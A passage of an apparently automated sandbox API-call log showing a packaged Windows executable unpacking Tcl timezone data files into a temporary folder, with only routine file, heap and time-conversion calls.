lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.114] CloseHandle (hObject=0x10c) returned 1 [0041.114] GetLastError () returned 0x0 [0041.114] SetLastError (dwErrCode=0x0) [0041.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Queensland") returned 77 [0041.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Queensland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\queensland"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.114] GetLastError () returned 0x2 [0041.114] SetLastError (dwErrCode=0x2) [0041.114] GetLastError () returned 0x2 [0041.114] SetLastError (dwErrCode=0x2) [0041.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Queensland", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Queensland", lpFilePart=0x0) returned 0x4c [0041.114] GetLastError () returned 0x2 [0041.114] SetLastError (dwErrCode=0x2) [0041.114] GetLastError () returned 0x2 [0041.114] SetLastError (dwErrCode=0x2) [0041.114] GetLastError () returned 0x2 [0041.114] SetLastError (dwErrCode=0x2) [0041.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Queensland") returned 77 [0041.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Queensland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\queensland"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.115] GetFileType (hFile=0x10c) returned 0x1 [0041.115] htonl (hostlong=0xc6000000) returned 0xc6 [0041.115] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.115] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc6, lpOverlapped=0x0) returned 1 [0041.116] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.116] CloseHandle (hObject=0x10c) returned 1 [0041.116] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.116] htonl (hostlong=0x40000000) returned 0x40 [0041.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.116] GetFileType (hFile=0x10c) returned 0x1 [0041.116] htonl (hostlong=0x29895b00) returned 0x5b8929 [0041.116] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x603929, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.116] htonl (hostlong=0x8b000000) returned 0x8b [0041.116] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0041.117] htonl (hostlong=0x8b000000) returned 0x8b [0041.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.117] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.117] htonl (hostlong=0xc1000000) returned 0xc1 [0041.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc1) returned 0x550600 [0041.117] htonl (hostlong=0x8b000000) returned 0x8b [0041.117] htonl (hostlong=0xc1000000) returned 0xc1 [0041.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.117] CloseHandle (hObject=0x10c) returned 1 [0041.117] GetLastError () returned 0x0 [0041.117] SetLastError (dwErrCode=0x0) [0041.117] GetLastError () returned 0x0 [0041.117] SetLastError (dwErrCode=0x0) [0041.117] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.117] GetFileType (hFile=0x10c) returned 0x1 [0041.117] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.117] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.118] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.118] CloseHandle (hObject=0x10c) returned 1 [0041.118] GetLastError () returned 0x0 [0041.118] SetLastError (dwErrCode=0x0) [0041.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.118] GetFileType (hFile=0x10c) returned 0x1 [0041.118] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.118] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.118] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.118] CloseHandle (hObject=0x10c) returned 1 [0041.118] GetLastError () returned 0x0 [0041.118] SetLastError (dwErrCode=0x0) [0041.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.118] GetFileType (hFile=0x10c) returned 0x1 [0041.118] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.118] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.119] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.119] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.119] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.119] CloseHandle (hObject=0x10c) returned 1 [0041.119] GetLastError () returned 0x0 [0041.119] SetLastError (dwErrCode=0x0) [0041.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\South") returned 72 [0041.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\South" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\south"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.119] GetLastError () returned 0x2 [0041.119] SetLastError (dwErrCode=0x2) [0041.119] GetLastError () returned 0x2 [0041.119] SetLastError (dwErrCode=0x2) [0041.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\South", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\South", lpFilePart=0x0) returned 0x47 [0041.119] GetLastError () returned 0x2 [0041.119] SetLastError (dwErrCode=0x2) [0041.119] GetLastError () returned 0x2 [0041.119] SetLastError (dwErrCode=0x2) [0041.119] GetLastError () returned 0x2 [0041.119] SetLastError (dwErrCode=0x2) [0041.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\South") returned 72 [0041.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\South" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\south"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.119] GetFileType (hFile=0x10c) returned 0x1 [0041.120] htonl (hostlong=0xc1000000) returned 0xc1 [0041.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.120] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc1, lpOverlapped=0x0) returned 1 [0041.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.121] CloseHandle (hObject=0x10c) returned 1 [0041.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.121] htonl (hostlong=0x30000000) returned 0x30 [0041.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.121] GetFileType (hFile=0x10c) returned 0x1 [0041.121] htonl (hostlong=0xb4895b00) returned 0x5b89b4 [0041.121] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6039b4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.121] htonl (hostlong=0x16060000) returned 0x616 [0041.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x616) returned 0x550600 [0041.121] htonl (hostlong=0x16060000) returned 0x616 [0041.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.121] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.121] htonl (hostlong=0x771e0000) returned 0x1e77 [0041.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e77) returned 0x561090 [0041.121] htonl (hostlong=0x16060000) returned 0x616 [0041.121] htonl (hostlong=0x771e0000) returned 0x1e77 [0041.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f10 [0041.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f10 | out: hHeap=0x530000) returned 1 [0041.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.121] CloseHandle (hObject=0x10c) returned 1 [0041.122] GetLastError () returned 0x0 [0041.122] SetLastError (dwErrCode=0x0) [0041.122] GetLastError () returned 0x0 [0041.122] SetLastError (dwErrCode=0x0) [0041.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.122] GetFileType (hFile=0x10c) returned 0x1 [0041.122] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.122] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.122] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.122] CloseHandle (hObject=0x10c) returned 1 [0041.122] GetLastError () returned 0x0 [0041.122] SetLastError (dwErrCode=0x0) [0041.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.122] GetFileType (hFile=0x10c) returned 0x1 [0041.123] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.123] CloseHandle (hObject=0x10c) returned 1 [0041.123] GetLastError () returned 0x0 [0041.123] SetLastError (dwErrCode=0x0) [0041.123] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.123] GetFileType (hFile=0x10c) returned 0x1 [0041.123] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.123] CloseHandle (hObject=0x10c) returned 1 [0041.124] GetLastError () returned 0x0 [0041.124] SetLastError (dwErrCode=0x0) [0041.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Sydney") returned 73 [0041.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Sydney" (normalized: 